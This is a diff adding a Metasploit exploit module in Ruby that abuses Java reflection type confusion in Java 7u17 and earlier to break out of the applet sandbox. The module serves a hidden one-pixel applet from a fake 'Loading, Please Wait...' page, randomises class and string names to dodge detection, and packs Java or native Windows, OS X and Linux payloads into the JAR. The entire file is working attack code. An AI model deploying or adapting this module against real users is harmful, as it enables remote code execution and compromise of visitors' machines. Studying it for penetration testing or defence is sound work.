|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + Rank = ExcellentRanking |
| 13 | + |
| 14 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 15 | + include Msf::Exploit::EXE |
| 16 | + |
| 17 | + include Msf::Exploit::Remote::BrowserAutopwn |
| 18 | + autopwn_info({ :javascript => false }) |
| 19 | + |
| 20 | + def initialize( info = {} ) |
| 21 | + |
| 22 | + super( update_info( info, |
| 23 | + 'Name' => 'Java Applet Reflection Type Confusion Remote Code Execution', |
| 24 | + 'Description' => %q{ |
| 25 | + This module abuses Java Reflection to generate a Type Confusion and run code |
| 26 | + outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. |
| 27 | + This exploit doesn't bypass click-to-play, so the user must accept the java warning |
| 28 | + in order to run the malicious applet. |
| 29 | + }, |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Author' => |
| 32 | + [ |
| 33 | + 'Jeroen Frijters', # Vulnerability discovery and PoC |
| 34 | + 'juan vazquez' # Metasploit module |
| 35 | + ], |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ] |
| 39 | + ], |
| 40 | + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], |
| 41 | + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Generic (Java Payload)', |
| 45 | + { |
| 46 | + 'Platform' => ['java'], |
| 47 | + 'Arch' => ARCH_JAVA, |
| 48 | + } |
| 49 | + ], |
| 50 | + [ 'Windows x86 (Native Payload)', |
| 51 | + { |
| 52 | + 'Platform' => 'win', |
| 53 | + 'Arch' => ARCH_X86, |
| 54 | + } |
| 55 | + ], |
| 56 | + [ 'Mac OS X x86 (Native Payload)', |
| 57 | + { |
| 58 | + 'Platform' => 'osx', |
| 59 | + 'Arch' => ARCH_X86, |
| 60 | + } |
| 61 | + ], |
| 62 | + [ 'Linux x86 (Native Payload)', |
| 63 | + { |
| 64 | + 'Platform' => 'linux', |
| 65 | + 'Arch' => ARCH_X86, |
| 66 | + } |
| 67 | + ], |
| 68 | + ], |
| 69 | + 'DefaultTarget' => 0, |
| 70 | + 'DisclosureDate' => 'Jan 10 2013' |
| 71 | + )) |
| 72 | + end |
| 73 | + |
| 74 | + |
| 75 | + def setup |
| 76 | + path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Exploit.class") |
| 77 | + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } |
| 78 | + path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union1.class") |
| 79 | + @union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } |
| 80 | + path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union2.class") |
| 81 | + @union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } |
| 82 | + path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "SystemClass.class") |
| 83 | + @system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } |
| 84 | + |
| 85 | + @exploit_class_name = rand_text_alpha("Exploit".length) |
| 86 | + @exploit_class.gsub!("Exploit", @exploit_class_name) |
| 87 | + super |
| 88 | + end |
| 89 | + |
| 90 | + def on_request_uri(cli, request) |
| 91 | + print_status("handling request for #{request.uri}") |
| 92 | + |
| 93 | + case request.uri |
| 94 | + when /\.jar$/i |
| 95 | + jar = payload.encoded_jar |
| 96 | + jar.add_file("#{@exploit_class_name}.class", @exploit_class) |
| 97 | + jar.add_file("Union1.class", @union1_class) |
| 98 | + jar.add_file("Union2.class", @union2_class) |
| 99 | + jar.add_file("SystemClass.class", @system_class) |
| 100 | + metasploit_str = rand_text_alpha("metasploit".length) |
| 101 | + payload_str = rand_text_alpha("payload".length) |
| 102 | + jar.entries.each { |entry| |
| 103 | + entry.name.gsub!("metasploit", metasploit_str) |
| 104 | + entry.name.gsub!("Payload", payload_str) |
| 105 | + entry.data = entry.data.gsub("metasploit", metasploit_str) |
| 106 | + entry.data = entry.data.gsub("Payload", payload_str) |
| 107 | + } |
| 108 | + jar.build_manifest |
| 109 | + |
| 110 | + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) |
| 111 | + when /\/$/ |
| 112 | + payload = regenerate_payload(cli) |
| 113 | + if not payload |
| 114 | + print_error("Failed to generate the payload.") |
| 115 | + send_not_found(cli) |
| 116 | + return |
| 117 | + end |
| 118 | + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) |
| 119 | + else |
| 120 | + send_redirect(cli, get_resource() + '/', '') |
| 121 | + end |
| 122 | + |
| 123 | + end |
| 124 | + |
| 125 | + def generate_html |
| 126 | + html = %Q|<html><head><title>Loading, Please Wait...</title></head>| |
| 127 | + html += %Q|<body><center><p>Loading, Please Wait...</p></center>| |
| 128 | + html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">| |
| 129 | + html += %Q|</applet></body></html>| |
| 130 | + return html |
| 131 | + end |
| 132 | + |
| 133 | +end |
0 commit comments